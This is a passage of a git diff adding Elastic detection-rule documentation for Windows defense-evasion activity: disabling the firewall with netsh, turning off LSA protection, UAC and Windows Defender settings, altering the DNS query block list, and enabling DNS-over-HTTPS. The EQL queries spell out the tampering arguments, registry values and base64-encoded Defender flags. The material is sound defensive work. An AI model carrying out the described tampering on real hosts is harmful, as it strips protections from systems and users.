+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disable Windows Firewall Rules via Netsh* + + +The Windows Defender Firewall is a native component which provides host-based, two-way network traffic filtering for a device, and blocks unauthorized network traffic flowing into or out of the local device. + +Attackers can disable the Windows firewall or its rules to enable lateral movement and command and control activity. + +This rule identifies patterns related to disabling the Windows firewall or its rules using the `netsh.exe` utility. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the user to check if they are aware of the operation. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Check whether the user is an administrator and is legitimately performing troubleshooting. +- In case of an allowed benign true positive (B-TP), assess adding rules to allow needed traffic and re-enable the firewall. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "netsh.exe" and + ( + (process.args : "disable" and process.args : "firewall" and process.args : "set") or + (process.args : "advfirewall" and process.args : "off" and process.args : "state") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disabling-lsa-protection-via-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disabling-lsa-protection-via-registry-modification.asciidoc new file mode 100644 index 0000000000..764df4c748 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disabling-lsa-protection-via-registry-modification.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-disabling-lsa-protection-via-registry-modification]] +=== Disabling Lsa Protection via Registry Modification + +LSA protecton is provided to prevent nonprotected processes from reading memory and injecting code. This feature provides added security for the credentials that LSA stores and manages. Adversaries may modify the RunAsPPL registry and wait or initiate a system restart to enable Lsass credentials access. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disabling Lsa Protection via Registry Modification* + + +For more information about the Lsa Protection and how it works, check the https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection[official Microsoft docs page]. + +Attackers may disable Lsa protection to access Lsass memory for credentals. This rule identifies RunAsPPL registry value modifications. + + +*Possible investigation steps* + + +- Verify the context of the change and if it's related to a planned system administration activity. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behaviors in the alert timeframe. +- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file modifications, and any spawned child processes. + + +*False positive analysis* + + +- Approved changes to relax the Lsa protection for compatibility with third party solutions such as authentication plugins or alike. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore UAC settings to the desired state. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and process.name != null and + registry.value : "RunAsPPL" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Control\\Lsa\\RunAsPPL" and + not registry.data.strings : ("1", "0x00000001", "2", "0x00000002") and + not process.executable : "?:\\Windows\\System32\\SecurityHealthService.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disabling-user-account-control-via-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disabling-user-account-control-via-registry-modification.asciidoc new file mode 100644 index 0000000000..0d7dc0ed4d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disabling-user-account-control-via-registry-modification.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-21-disabling-user-account-control-via-registry-modification]] +=== Disabling User Account Control via Registry Modification + +User Account Control (UAC) can help mitigate the impact of malware on Windows hosts. With UAC, apps and tasks always run in the security context of a non-administrator account, unless an administrator specifically authorizes administrator-level access to the system. This rule identifies registry value changes to bypass User Access Control (UAC) protection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.greyhathacker.net/?p=796 +* https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings +* https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-overview +* https://www.elastic.co/security-labs/dissecting-remcos-rat-part-four + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disabling User Account Control via Registry Modification* + + +Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as low to high integrity levels) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. UAC can deny an operation under high-integrity enforcement, or allow the user to perform the action if they are in the local administrators group and enter an administrator password when prompted. + +For more information about the UAC and how it works, check the https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works[official Microsoft docs page]. + +Attackers may disable UAC to execute code directly in high integrity. This rule identifies registry value changes to bypass the UAC protection. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behaviors in the alert timeframe. +- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Analyze non-system processes executed with high integrity after UAC was disabled for unknown or suspicious processes. +- Retrieve the suspicious processes' executables and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled tasks creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore UAC settings to the desired state. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : ("EnableLUA", "ConsentPromptBehaviorAdmin", "PromptOnSecureDesktop") and + registry.data.strings : ("0", "0x00000000") + + /* + Full registry key path omitted due to data source variations: + HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA + HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin + HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disabling-windows-defender-security-settings-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disabling-windows-defender-security-settings-via-powershell.asciidoc new file mode 100644 index 0000000000..85701f69ba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disabling-windows-defender-security-settings-via-powershell.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-21-disabling-windows-defender-security-settings-via-powershell]] +=== Disabling Windows Defender Security Settings via PowerShell + +Identifies use of the Set-MpPreference or Add-MpPreference PowerShell commands to disable or weaken certain Windows Defender settings, including detection of base64-encoded variants used to bypass command-line inspection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2019-ps +* https://www.elastic.co/security-labs/operation-bleeding-bear +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disabling Windows Defender Security Settings via PowerShell* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows, which makes it popular across multiple environments. Disabling it is a common step in threat actor playbooks. + +This rule monitors the execution of commands that can tamper the Windows Defender antivirus features. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to determine which action was executed. Based on that, examine exceptions, antivirus state, sample submission, etc. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity, the configuration is justified (for example, it is being used to deploy other security solutions or troubleshooting), and no other suspicious activity has been observed. + + +*Related rules* + + +- Windows Defender Disabled via Registry Modification - 2ffa1f1e-b6db-47fa-994b-1512743847eb +- Microsoft Windows Defender Tampering - fe794edd-487f-4a90-b285-3ee54f2af2d3 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Based on the command line, take actions to restore the appropriate Windows Defender antivirus configurations. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + ( + ( + process.args : ("Set-MpPreference", "Add-MpPreference") and + process.args : ("-Disable*", "Disabled", "NeverSend", "-Exclusion*") + ) or + /* base64-encoded (UTF-16LE) fragments of critical Defender settings, 3 byte-alignment offsets each */ + ( + process.command_line : ("*-e *", "*-en *", "* -enc*", "*FromBase64String*") and + process.command_line : ( + /* DisableRealtimeMonitoring */ + "*RABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", + "*QAaQBzAGEAYgBsAGUAUgBlAGEAbAB0AGkAbQBlAE0AbwBuAGkAdABvAHIAaQBuAGcAIA*", + "*EAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACAA*", + /* disablerealtimemonitoring */ + "*ZABpAHMAYQBiAGwAZQByAGUAYQBsAHQAaQBtAGUAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", + "*QAaQBzAGEAYgBsAGUAcgBlAGEAbAB0AGkAbQBlAG0AbwBuAGkAdABvAHIAaQBuAGcAIA*", + "*kAGkAcwBhAGIAbABlAHIAZQBhAGwAdABpAG0AZQBtAG8AbgBpAHQAbwByAGkAbgBnACAA*", + /* DisableIOAVProtection */ + "*RABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIA*", + "*QAaQBzAGEAYgBsAGUASQBPAEEAVgBQAHIAbwB0AGUAYwB0AGkAbwBuACAA*", + "*EAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgA*", + /* disableioavprotection */ + "*ZABpAHMAYQBiAGwAZQBpAG8AYQB2AHAAcgBvAHQAZQBjAHQAaQBvAG4AIA*", + "*QAaQBzAGEAYgBsAGUAaQBvAGEAdgBwAHIAbwB0AGUAYwB0AGkAbwBuACAA*", + "*kAGkAcwBhAGIAbABlAGkAbwBhAHYAcAByAG8AdABlAGMAdABpAG8AbgAgA*", + /* DisableBehaviorMonitoring */ + "*RABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", + "*QAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIA*", + "*EAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAA*", + /* disablebehaviormonitoring */ + "*ZABpAHMAYQBiAGwAZQBiAGUAaABhAHYAaQBvAHIAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", + "*QAaQBzAGEAYgBsAGUAYgBlAGgAYQB2AGkAbwByAG0AbwBuAGkAdABvAHIAaQBuAGcAIA*", + "*kAGkAcwBhAGIAbABlAGIAZQBoAGEAdgBpAG8AcgBtAG8AbgBpAHQAbwByAGkAbgBnACAA*", + /* DisableBlockAtFirstSeen */ + "*RABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAA*", + "*QAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgA*", + "*EAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIA*", + /* disableblockatfirstseen */ + "*ZABpAHMAYQBiAGwAZQBiAGwAbwBjAGsAYQB0AGYAaQByAHMAdABzAGUAZQBuACAA*", + "*QAaQBzAGEAYgBsAGUAYgBsAG8AYwBrAGEAdABmAGkAcgBzAHQAcwBlAGUAbgAgA*", + "*kAGkAcwBhAGIAbABlAGIAbABvAGMAawBhAHQAZgBpAHIAcwB0AHMAZQBlAG4AIA*" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-dns-global-query-block-list-modified-or-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-dns-global-query-block-list-modified-or-disabled.asciidoc new file mode 100644 index 0000000000..9d4b1dc98b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-dns-global-query-block-list-modified-or-disabled.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-dns-global-query-block-list-modified-or-disabled]] +=== DNS Global Query Block List Modified or Disabled + +Identifies changes to the DNS Global Query Block List (GQBL), a security feature that prevents the resolution of certain DNS names often exploited in attacks like WPAD spoofing. Attackers with certain privileges, such as DNSAdmins, can modify or disable the GQBL, allowing exploitation of hosts running WPAD with default settings for privilege escalation and lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cube0x0.github.io/Pocing-Beyond-DA/ +* https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wpad-spoofing +* https://www.netspi.com/blog/technical-blog/network-penetration-testing/adidns-revisited/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DNS Global Query Block List Modified or Disabled* + + +The DNS Global Query Block List (GQBL) is a security feature in Windows environments that blocks the resolution of specific DNS names, such as WPAD, to prevent attacks like spoofing. Adversaries with elevated privileges can alter or disable the GQBL, enabling them to exploit default settings for privilege escalation. The detection rule monitors registry changes indicating such modifications, flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the specific changes made to the DNS Global Query Block List, focusing on the registry values "EnableGlobalQueryBlockList" and "GlobalQueryBlockList". +- Identify the user account associated with the registry change event to determine if the account has elevated privileges, such as DNSAdmins, which could indicate potential misuse. +- Check for any recent changes in user permissions or group memberships that might have granted the necessary privileges to modify the GQBL. +- Investigate any other suspicious activities or alerts related to the same user or host around the time of the registry change to identify potential lateral movement or privilege escalation attempts. +- Correlate the event with network traffic logs to detect any unusual DNS queries or attempts to resolve WPAD or other blocked names, which could suggest exploitation attempts. +- Review system and security logs for any signs of unauthorized access or other indicators of compromise on the affected host. + + +*False positive analysis* + + +- Legitimate administrative changes to DNS settings by IT staff can trigger the rule. To manage this, create exceptions for known maintenance windows or authorized personnel making these changes. +- Automated scripts or software updates that modify DNS settings might be flagged. Identify and whitelist these processes if they are verified as safe and necessary for system operations. +- Changes made by security tools or network management software that adjust DNS settings for legitimate reasons can be mistaken for threats. Review and exclude these tools from monitoring if they are part of the organization's approved security infrastructure. +- In environments where WPAD is intentionally used, the absence of "wpad" in the GlobalQueryBlockList might be a normal configuration. Document and exclude these cases if they align with the organization's network design and security policies. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement. +- Revert any unauthorized changes to the DNS Global Query Block List by restoring the registry settings to their default state, ensuring WPAD and other critical entries are included. +- Conduct a thorough review of user accounts with elevated privileges, such as DNSAdmins, to identify any unauthorized access or privilege escalation. Revoke unnecessary privileges and reset credentials as needed. +- Deploy endpoint detection and response (EDR) tools to scan the affected system for additional indicators of compromise or malicious activity, focusing on defense evasion techniques. +- Monitor network traffic for signs of WPAD spoofing or other related attacks, and implement network segmentation to limit the impact of potential threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update security policies and procedures to include specific measures for monitoring and protecting the DNS Global Query Block List, ensuring rapid detection and response to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.data.strings != null and +( + (registry.value : "EnableGlobalQueryBlockList" and registry.data.strings : ("0", "0x00000000")) or + (registry.value : "GlobalQueryBlockList" and not registry.data.strings : "wpad") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-dns-over-https-enabled-via-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-dns-over-https-enabled-via-registry.asciidoc new file mode 100644 index 0000000000..d79c2d360e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-dns-over-https-enabled-via-registry.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-dns-over-https-enabled-via-registry]] +=== DNS-over-HTTPS Enabled via Registry + +Identifies when a user enables DNS-over-HTTPS. This can be used to hide internet activity or the process of exfiltrating data. With this enabled, an organization will lose visibility into data such as query type, response, and originating IP, which are used to determine bad actors. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html +* https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DNS-over-HTTPS Enabled via Registry* + + +DNS-over-HTTPS (DoH) encrypts DNS queries to enhance privacy and security, preventing eavesdropping and manipulation. However, adversaries can exploit DoH to conceal malicious activities, such as data exfiltration, by bypassing traditional DNS monitoring. The detection rule identifies registry changes enabling DoH in browsers like Edge, Chrome, and Firefox, signaling potential misuse for defense evasion. + + +*Possible investigation steps* + + +- 